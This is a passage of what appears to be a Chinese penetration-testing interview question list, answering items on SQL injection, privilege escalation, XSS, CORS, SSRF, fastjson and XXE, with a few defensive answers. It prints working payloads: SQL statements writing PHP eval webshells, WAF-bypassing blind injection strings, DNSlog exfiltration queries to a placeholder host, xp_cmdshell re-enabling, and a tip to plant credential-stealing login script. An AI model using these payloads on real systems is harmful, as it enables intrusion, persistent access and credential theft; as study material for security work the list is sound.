test.com 根据浏览器的CORS策略 他只能在test.com里面请求东西
test.com 调用ajax 去访问 xxxx.com assdasd.test.com 如果目标的CORS头 默 认不放行test.com 这样 test.com 的ajax请求就不会访问其他网站
22-审查上传点的元素有什么意义
有些站点的上传文件类型限制是在前端实现的这时只要增加上传类型就能突破限制了23- 3389 无法连接
没开放 3389 端口;端口被修改;防护拦截;处于内网(需进行端口转发)24- 目标站无防护上传图片可以正常访问上传脚本格式访问则403
有可能Web服务器配置把上传目录写死了不执行相应脚本尝试改后缀名绕过。25-Mysql几种提权方式
Mysql_UDF 提权
利用了root高权限创建带有调用 cmd 的函数的 udf.dll 动态链接库
导出 udf.dll 文件后我们就可以直接在命令框输入 cmd
限制条件
1-MySQL 数据库没有开启安全模式确认secure_file_priv是否为空
2-已知的数据库账号具有对MySQL数据库insert和delete的权限最好是root最高权限。
3-shell有写入到数据库安装目录的权限。
MOF提权
MOF提权是一个有历史的漏洞基本上在Windows Server 2003的环境下才可以成功。提权 的原理是C:/Windows/system32/wbem/mof/目录下的mof文件每隔一段时间几秒钟左 右都会被系统执行因为这个 MOF 里面有一部分是 VBS脚本所以可以利用这个VBS脚本 来调用CMD来执行系统命令如果 MySQL有权限操作 mof 目录的话就可以来执行任意命令 了。
26-针对token的测试 会注意哪些方面
针对token的攻击一是对它本身的攻击重放测试一次性、分析加密规则、校验方式是否正 确等二是结合信息 泄露漏洞对它的获取结合着发起组合攻击信息泄露有可能是缓存、 日 志、get也有可能是利用跨站很多跳转登录的都依赖token有一个跳转漏洞加反射型跨站 就可以组合成登录劫持了另外也可以结合着其它业务来描述token的安全性及设计不好怎么被 绕过比如抢红包业务之类的
27-token和refer横向对比 谁安全等级高
token安全等级更高因为并不是任何服务器都可以取得referer如果从HTTPS 跳到 HTTP也不会发送referer。并且FLASH一些版本中可以自定义referer。但是token的 话要保证其足够随机且不可泄露。(不可预测性原则)
28-SQL注入写shell 单引号被过滤咋办
写 shell: root 权限GPC 关闭知道文件路径outfile函数http://127.0.0.1:81/sqli.php?id1 into outfileC:\\wamp64\\www\\phpinfo.php FIELDSTERMINATED BY ?php phpinfo(); ?http://127.0.0.1:81/sqli.php?id-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile C:\\wamp64\\www\\phpinfo.php 、宽字节注入代替空格的方法
%0a、%0b、%a0 等/**/ 等注释符29-宽字节注入的原理
产生原理
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下在WEB层由于 0XBF27是两个 字符在PHP中比如addslash和 magic_quotes_gpc 开启时由于会对 0x27 单引号进 行转义因此0xbf27会变成0xbf5c27,而数据进入数据库中时由于 0XBF5C 是一个另外 的字符因此\转义符号会被前面的 bf 带着吃掉单引号由此逃逸出来可以用来闭合语句。
根本原因
character_set_client(客户端的字符集)和 character_set_connection(连接层的 字符集)不同 ,或转换函数
如iconv、mb_convert_encoding使用不当。
解决办法
统一数据库、Web 应用、操作系统所使用的字符集避免解析产生差异最好都设置为 UTF- 8。或对数据进行正确的转义
如mysql_real_escape_stringmysql_set_charset的使用。
30-img标签除了onerror属性外还有其他获取管理员路径的办法
1.服务器修改apache配置文件配置 .jpg文件以php方式来解析AddType application/x-httpd-php .jpg img srchttp://xss.tv/1.jpg 会以php方 式来解析2.c定一个远程的脚本文件获取 referer31-代码执行、文件读取、命令执行函数有哪些
1代码执行
eval,preg_replace/e,assert,call_user_func,call_user_func_array,cre ate_function2文件读取
file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等3)命令执行
system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()32-为什么aspx木马权限比asp大
aspx使用的是 .net技术。IIS中默认不支持ASP只是脚本语言而已。入侵的时候asp的木马 一般是guest权限…APSX的木马一般是users权限.
33-提权为何选择可读写目录不用带空格的目录
因为exp执行多半需要空格界定参数34-有shell情况下如何使用xss实现对目标站的长久控制
后台登录处加一段记录登录账号密码的 js并且判断是否登录成功如果登录成功就把账 号密码记 录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值 并且需要深入控 制权限的网络)。 在登录后才可以访问的文件中插入XSS脚本
35-发现uid100注入点获取shell的思路
有写入权限的构造联合查询语句使用 using INTO OUTFILE可以将查询的输出重定向到 系统的文件中这样去写入WebShell使用sqlmap –os-shell原理和上面一种相同来直 接获得一个Shell这样效率更高通过构造联合查询语句得到网站管理员的账户和密码然后 扫后台登录后台再在后台通过改包上传等方法上传Shell.
36-如何拿一个站点的webshell
上传后台编辑模板sql注入写文件命令执行代码执行一些已经爆出的cms 漏洞比 如dedecms后台可以直接建立脚本文件wordpress上传插件包含脚本文件zip压缩包等
37-手工判断目标站是Windows还是Linux
1.Linux大小写敏感 Windows不敏感
2.通过Ping的值 TTL
Linux值 64或者255
win 32 128
unix 25538.SVN/GIT 源代码泄露
1.在使用 SVN 管理本地代码过程中会自动生成一个名为 .svn 的隐藏文件
夹其中包含重要的源代码信息/.git/config
2.使用git进行版本控制对站点自动部署。如果配置不当可能会将 .git文件夹直接部署到 线上环境。这就引起git泄露漏洞/.svn/entries
39.项目上漏洞扫描需注意哪些
跟客户确认是否充许登录扫描、扫描并发连接数及线程数、是否充许暴力破确什么时间扫 描、通知客户备份一下数据开启业务系统及网站运维监控以免断机可及时恢复
40.Mysql注入点工具对目标站点写一句话 需要哪些条件
root权限、网站的绝对路径、需要数据库开启 secure_file_priv相当于secure_file_priv的值为空不为空不充许写入webshell默认不开启需要修改 my.ini 配置文件)
41.为何一个mysql数据库的站只有一个80端口开放
1、更改了数据库端口没有扫描出来。
2、站库分离。
3、3306 端口不对外开放
42.报错注入的函数
updatexml、extractvalue、floor、exp
43-Post和Get都做了防注入可以采用什么方式绕过
Cookies注入绕过
44-SQL注入只能查帐号密码
最低权限都可以查找帐号和密码如 mssql sa 权限可以获取系统权限dbowner 可以获 取 Webshellpublic 可以脱库mysql root 权限、知道网站的绝对路径、数据库 my.ini 配置文件 secure_file_priv 值为空时就可以获取 webshell 并执行操作系 统命令。
45-sqlmap怎么对一个注入点注入
1.如果是 get 注入直接sqlmap -u “注入点网址”.
2.如果是 post 注入可以 sqlmap – r burp 地址访问包”
3.如果是 cookieX-Forwarded-For等可以访问的时候用burpsuite抓包注入处 用号替换放到文件里然后sqlmap -r “文件地址”记得加上—level 3参数
46-SQL注入的防护方法
1、涵数过滤如 !is_numeric 涵数 //判断变量 id 是否为数字
2、直接下载相关防范注入文件通过 incloud 包含放在网站配置文件里面如 360、阿里 云、腾迅提供的防注入脚本
3、使用白名单来规范化输入验证方法
4、采用 PDO 预处理
5、使用 Waf 拦截
47-盲注IF被过滤怎么绕过
如果 and if 被 waf 拦截我们可以使用内联注释来绕过函数的检测如
xor /*!if*/(length(/*!database*//* !()*/)1,/*!sleep*//* !
(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//* !()*/)1,/*!sleep*//* ! (1)*/,curdate())%23
/*!if*/(length(/*!database*//* !()*/)1,/*!sleep*//* !
(1)*/,curdate())%23
and case when 1!0 then /*!sleep*//* !(5)*/ else 0 end %2348-SQL注入无回显利用DNSlog如何构造
1.没有回显的情况下一般编写脚本进行自动化注入。但与此同时由于 防火墙的存在容易被封禁 IP可以尝试调整请求频率有条件的使用代理池 进行请求。
2.此时也可以使用 DNSlog 注入原理就是把服务器返回的结果放在域
名中然后读取 DNS 解析时的日志来获取想要的信息。
3.Mysql 中利用load_file()构造payload
‘ and if((select load_file(concat(‘\\’ ,(select
database()),’ .xxx.ceye.io\abc’))),1,0)#
4.Mssql 下利用 master…xp_dirtree 构造 payload
DECLARE host varchar(1024);SELECT host(SELECT db_name())’.xxx.ceye.io’;EXEC(‘master…xp_dirtree”\’host’ \foobar$”‘);
49.PHPadmin写shell的方法
一、常规导入 shell 的操作
创建数据表导出 shell
CREATE TABLE mysql.shadow9 (content TEXT NOT NULL ); INSERT INTO mysql.shadow9 (content ) VALUES (‘?php eval($_POST[pass]);?’);SELECT content FROM shadow9 INTO OUTFILE‘C:\\phpStudy\\WWW\\90sec.php’ ;DROP TABLE IF EXISTS shadow9;二、一句话导出shell
select ?php eval($_POST[pass]);? into outfile c:/phpstu dy/www/90sec.php;select ?php eval($_POST[pass]);? into outfile c:\\phpst udy\\www\\90sec.php;select ?php eval($_POST[pass]);? into dumpfile c:\\phps tudy\\www\\bypass.php;三、 日志备份获取 shell
show global variables like %genera%; //查询general_log配置set global general_logon; //开启 general log 模 式SET global general_log_fileD:/phpStudy/WWW/cmd.php; //设 置日志文件保存路径SELECT ?php phpinfo();?; //phpinfo()写入日志文件set global general_logoff; //关闭 general_log模 式50.SQL注入时 and or 被过滤怎办
1.大小写变形
2.编码
3.添加注释
4.双写法
5.利用符号形式
6.浮点数 #数字被注释
7.函数替代 #符号被注释
51-快速找文件下载漏洞
一般链接形式:
download.php?path
down.php?file
data.php?file
download.php?filename
或者包含参数:
Src
Inputfile
Filepath
Path
Data
52-任意文件下载的防范方法
1过滤.使用户在url中不能回溯上级目录
2正则严格判断用户输入参数的格式
3php.ini 配置open_basedir限定文件访问范围
53-CORS产生利用方式绕过同源策略方式
1-CORS 全称是”跨域资源共享”Cross-origin resource sharing ,Origin源未
严格从而造成跨域问题 ,允许浏览器向跨源服务器发出
XMLHttpRequest请求
2-Origin 为*的时候使用 curl 测试 CORS
curl -H “Origin: https://evil.com” -I
再寻找的 api 接口是否有敏感信息泄漏。
3-同源协议相同、域名相同、端口相同绕过同源策略限制的方法
1、document.domain 属性
2、片段识别符URL 后加#号
3、window.name
4、跨文档通信 API
5、JSONP
6、CORS
7、WebSockets
4-jsonp 跨域利用获取 JSON 数据并编码发送到远程服务器
54-XSS弹窗函数和常见的XSS绕过策略
alert,confirm,prompt 三种函数
绕过策略
1.大小写混合
2.双写
3.编码
4.fuzz 低频使用标签 details/open/ontoggle
5.fuzz 低频使用函数 ontoggle 等
6.img/src1
7.%0a 或者%0d 绕过
55-SSRF利用Redis写shell
1.SSRF 服务端请求伪造
一、对内网扫描获取 banner
二、攻击运行在内网的应用主要是使用 GET 参数就可以实现的攻击比如 Struts2sqli 等
三、利用协议读取本地文件
四、云计算环境 AWS Google Cloud 环境可以调用内网操作 ECS 的 API
2.如 webligic SSRF 漏洞
通过 SSRF 的 gopher 协议操作内网的 redis利用 redis 将反弹 shell 写入 crontab 定时任务url 编码将\r 字符串替换成%0d%0a
56-xpcmdshell禁用了有什么方法提权
可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的步 骤可参考
用查询分析器 ,依次执行下面的语句 ,就可以了 .
USE master
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘xp_cmdshell’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘show advanced options’, 0
就可以顺利的执行 CMDSHELL 了
57-网站后台Getshell的方法
webshell路径直接上传数据库备份getshell修改网站上传类型配置拿webshell执行sql语句写入webshell通过数据库拿webshell命令执行拿webshellphpmyadmin写sehll
58-fastjson不出网怎么利用
#目前公开已知的poc有两个
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2.BasicDataSource
#第一种利用方式需要一个特定的触发条件:
解析JSON的时候需要使用Feature才能触发参考如下代码
JSONObject.parseObject(sb.toString(), new Feature[]
{Feature.SupportNonPublicField});
#第二种利用方式: 则需要应用部署在Tomcat应用环境中因为Tomcat应用环境自带 tomcat-dbcp.jar 对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要 在maven中配置tomcat- dbcp。
而且对于不同的Tomcat版本使用的poc也不同
Tomcat 8.0以后使用
org.apache.tomcat.dbcp.dbcp2.BasicDataSource • Tomcat
8.0以下使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource
58.遇到XXE盲注怎么办
如果遇到XXE无回显注入的话可以选择使用DNS外带和外部参数实体注入
1- 在攻击者自己的公网服务器准备一个test.dtd通过base64为将读取的内容加密得到的 值当作传参值发送给攻击者的公网服务器
2-受害者那边通过外部参数实体注入访问攻击者公网服务器下的test.dtd文件 3-最后看 攻击者公网服务器的日志转码得到受害者服务器的内容 数据内容过多整理起来比较慢各种看官还请多多包涵 有任何错误请感谢指正 交流